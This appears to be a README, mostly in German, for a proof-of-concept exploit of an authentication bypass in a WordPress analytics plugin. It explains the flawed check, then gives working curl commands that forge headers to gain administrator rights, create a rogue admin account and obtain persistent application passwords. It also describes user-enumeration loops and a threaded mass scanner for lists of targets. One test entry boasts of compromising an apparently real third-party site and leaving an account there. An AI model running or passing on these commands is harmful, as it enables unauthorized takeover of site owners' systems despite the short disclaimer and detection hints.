
CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Unauthenticated Authentication Bypass to Admin Account Takeover | Proof of Concept
| Element | Detail |
|---|---|
| CVE ID | CVE-2026-8181 |
| Plugin | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Betroffene Versionen | 3.4.0 – 3.4.1.1 |
| Gepatchte Version | 3.4.2 |
| CVSS-Score | 9.8 (Kritisch) |
| Typ | CWE-287: Improper Authentication |
| Angriffsvektor | Netzwerk / Remote / Unauthentifiziert |
| Aktive Installationen | ~200,000+ |
| Entdecker | PRISM, Wordfence Threat Intelligence |
| Veröffentlichungsdatum | 8. Mai 2026 |
Eine kritische Authentifizierungsumgehung im WordPress-Plugin Burst Statistics in den Versionen 3.4.0 bis 3.4.1.1 ermöglicht es Angreifern ohne Authentifizierung, vollen Administratorzugriff auf WordPress zu erhalten, indem sie lediglich den Admin-Benutzernamen kennen. Die Folge ist eine vollständige Übernahme des Admin-Kontos, einschließlich der Erstellung neuer Konten, der Änderung von Inhalten und der Installation schädlicher Plugins.
Die Schwachstelle befindet sich in der Methode is_mainwp_authenticated() in der Datei includes/Frontend/class-mainwp-proxy.php:
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // ← Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← Grant admin privileges
return true;
}
return false;
}
Hauptfehler: wp_authenticate_application_password(null, $username, $password) gibt null zurück (kein WP_Error), wenn Application Passwords nicht verfügbar sind, was auftritt bei:
wp_is_application_passwords_available() false zurückgibtis_ssl() false zurückgibtDa is_wp_error(null) = false ist, fährt der Code fort zu get_user_by('login', $username), der nur basierend auf dem Benutzernamen authentifiziert, ohne jegliche Passwortvalidierung.
Die Methode has_admin_access() wird beim Hook plugins_loaded (Priorität 9) in class-burst.php Zeile 118 aufgerufen:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
Dieser Hook wird VOR der REST-API-Routenverarbeitung ausgeführt, sodass wp_set_current_user() Admin-Rechte für DIE GESAMTE ANFRAGE gewährt – nicht nur für den Burst-Endpunkt.
Attacker ──HTTP Request──▶ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
│
▼
[plugins_loaded hook fires]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'anything')
│
Situs HTTP → wp_is_application_passwords_available() = false
│
Return null (BUKAN WP_Error)
│
is_wp_error(null) = false ← BYPASS!
│
get_user_by('login', 'admin') → found
│
wp_set_current_user(admin_id) → FULL ADMIN
│
has_admin_access() = true
│
[REST API memproses request dengan konteks admin]
│
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
pip3 install requests
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
Interaktiver Modus:
.txt, eine Domain pro Zeile)Format targets.txt:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Step 1: Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Step 2: Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Method 3: Author enumeration
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
Die Tests wurden auf WordPress 6.9 mit Burst Statistics 3.4.1.1 (localhost) durchgeführt:
| Ziel | Ergebnis |
|---|---|
ausdermitte-binz.de | ERFOLGREICH PWNED — Burst 3.4.1.1, Bypass über binzwpadmin, Konto xenon1337 erstellt (ID:30) |
Der Fix in Version 3.4.2 behebt mehrere Probleme:
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // ← Cek WP_User, bukan !WP_Error
return false;
}
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
add_option()wp_application_passwords Benutzer-Meta)X-BURSTMAINWP: 1 von externen IPswp_users auf neue Administrator-Kontenwp_options auf Transienten burst_mainwp_app_token_*| Datei | Beschreibung |
|---|---|
exploit_CVE-2026-8181.py | PoC-Exploit für Einzelziel |
poc_CVE-2026-8181.py | Massenscanner für mehrere Ziele mit Threading |
README.md | Diese Dokumentation |
Dieses Tool und diese Dokumentation sind nur für legitime Sicherheitstests mit ausdrücklicher Erlaubnis bestimmt. Die nicht autorisierte Nutzung gegen Systeme, die nicht Ihr Eigentum sind, oder ohne schriftliche Genehmigung ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
| Test | Ergebnis | Nachweis |
|---|
Zugriff auf /wp/v2/users/me ohne Authentifizierung | FEHLGESCHLAGEN | rest_not_logged_in |
| Zugriff mit Bypass-Headern | ERFOLGREICH | Admin-Profil + E-Mail + Rollen |
| Neues Administrator-Konto erstellen | ERFOLGREICH | User ID 2, role: administrator |
| WordPress-Einstellungen lesen | ERFOLGREICH | Site title, admin email, URL |
| Application Password erhalten | ERFOLGREICH | Base64 token admin:password |
| Liste installierter Plugins | ERFOLGREICH | Vollständige Liste mit Versionen |